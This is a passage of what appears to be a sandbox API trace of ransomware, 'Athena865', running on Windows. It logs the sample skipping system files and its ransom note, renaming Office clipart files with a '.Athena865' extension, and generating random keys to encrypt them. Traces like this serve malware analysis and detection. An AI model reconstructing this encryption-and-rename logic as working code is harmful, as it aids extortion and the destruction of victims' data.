dwFlags=0x1) returned 1 [0121.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47996) returned 1 [0121.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.847] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.847] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.847] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe80, lpName=0x0) returned 0x154 [0121.849] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe80) returned 0x100000 [0121.852] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.852] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.852] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.853] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.854] CloseHandle (hObject=0x154) returned 1 [0121.854] CloseHandle (hObject=0x17c) returned 1 [0121.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.854] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0121.854] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.854] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.854] lstrcmpiW (lpString1="BD08868_.WMF", lpString2=".") returned 1 [0121.854] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="..") returned 1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="windows") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="bootmgr") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="temp") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="pagefile.sys") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="boot") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ids.txt") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="ntuser.dat") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="perflogs") returned -1 [0121.855] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="MSBuild") returned -1 [0121.855] lstrlenW (lpString="BD08868_.WMF") returned 12 [0121.855] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD08868_.WMF" | out: lpString1="BD08868_.WMF") returned="BD08868_.WMF" [0121.855] lstrlenW (lpString="BD08868_.WMF") returned 12 [0121.855] lstrlenW (lpString="Athena865") returned 9 [0121.855] lstrcmpiW (lpString1="8868_.WMF", lpString2="Athena865") returned -1 [0121.855] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.Athena865") returned 73 [0121.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.864] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40206) returned 1 [0121.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.864] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.865] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.865] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.865] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa010, lpName=0x0) returned 0x154 [0121.869] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa010) returned 0x100000 [0121.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.872] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.872] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.874] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD09031_.WMF" | out: lpString1="BD09031_.WMF") returned="BD09031_.WMF" [0121.874] lstrlenW (lpString="BD09031_.WMF") returned 12 [0121.874] lstrlenW (lpString="Athena865") returned 9 [0121.874] lstrcmpiW (lpString1="9031_.WMF", lpString2="Athena865") returned -1 [0121.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.Athena865") returned 73 [0121.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.880] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47786) returned 1 [0121.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.881] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.881] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.881] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.881] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdb0, lpName=0x0) returned 0x154 [0121.882] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbdb0) returned 0x100000 [0121.886] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.887] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.887] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.888] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD09194_.WMF" | out: lpString1="BD09194_.WMF") returned="BD09194_.WMF" [0121.888] lstrlenW (lpString="BD09194_.WMF") returned 12 [0121.888] lstrlenW (lpString="Athena865") returned 9 [0121.888] lstrcmpiW (lpString1="9194_.WMF", lpString2="Athena865") returned -1 [0121.888] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.Athena865") returned 73 [0121.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14540) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.891] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.892] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.892] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.892] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bd0, lpName=0x0) returned 0x154 [0121.894] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bd0) returned 0x100000 [0121.895] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.895] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.895] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.896] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD09662_.WMF" | out: lpString1="BD09662_.WMF") returned="BD09662_.WMF" [0121.896] lstrlenW (lpString="BD09662_.WMF") returned 12 [0121.896] lstrlenW (lpString="Athena865") returned 9 [0121.896] lstrcmpiW (lpString1="9662_.WMF", lpString2="Athena865") returned -1 [0121.896] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.Athena865") returned 73 [0121.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.900] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20554) returned 1 [0121.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.900] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.901] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.901] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.901] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5350, lpName=0x0) returned 0x154 [0121.902] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5350) returned 0x100000 [0121.904] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.905] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.905] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.906] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD09664_.WMF" | out: lpString1="BD09664_.WMF") returned="BD09664_.WMF" [0121.906] lstrlenW (lpString="BD09664_.WMF") returned 12 [0121.906] lstrlenW (lpString="Athena865") returned 9 [0121.906] lstrcmpiW (lpString1="9664_.WMF", lpString2="Athena865") returned -1 [0121.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.Athena865") returned 73 [0121.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.913] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7966) returned 1 [0121.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.914] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.914] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.914] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.914] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2220, lpName=0x0) returned 0x154 [0121.916] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2220) returned 0x100000 [0121.917] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.918] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.918] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.918] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD10890_.GIF" | out: lpString1="BD10890_.GIF") returned="BD10890_.GIF" [0121.918] lstrlenW (lpString="BD10890_.GIF") returned 12 [0121.918] lstrlenW (lpString="Athena865") returned 9 [0121.918] lstrcmpiW (lpString1="0890_.GIF", lpString2="Athena865") returned -1 [0121.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.Athena865") returned 73 [0121.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.athena865"), dwFlags=0x1) returned 1 [0121.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13515) returned 1 [0121.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.921] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.922] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.922] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.922] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37d0, lpName=0x0) returned 0x154 [0121.925] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37d0) returned 0x100000 [0121.927] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.927] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.927] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.928] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD10972_.GIF" | out: lpString1="BD10972_.GIF") returned="BD10972_.GIF" [0121.928] lstrlenW (lpString="BD10972_.GIF") returned 12 [0121.928] lstrlenW (lpString="Athena865") returned 9 [0121.928] lstrcmpiW (lpString1="0972_.GIF", lpString2="Athena865") returned -1 [0121.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.Athena865") returned 73 [0121.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.athena865"), dwFlags=0x1) returned 1 [0121.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.930] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20189) returned 1 [0121.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.931] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.931] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.931] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.931] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51e0, lpName=0x0) returned 0x154 [0121.934] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51e0) returned 0x100000 [0121.935] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.936] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.936] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.936] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19563_.GIF" | out: lpString1="BD19563_.GIF") returned="BD19563_.GIF" [0121.936] lstrlenW (lpString="BD19563_.GIF") returned 12 [0121.936] lstrlenW (lpString="Athena865") returned 9 [0121.936] lstrcmpiW (lpString1="9563_.GIF", lpString2="Athena865") returned -1 [0121.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.Athena865") returned 73 [0121.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.Athena865" (normalized: "c:\\program 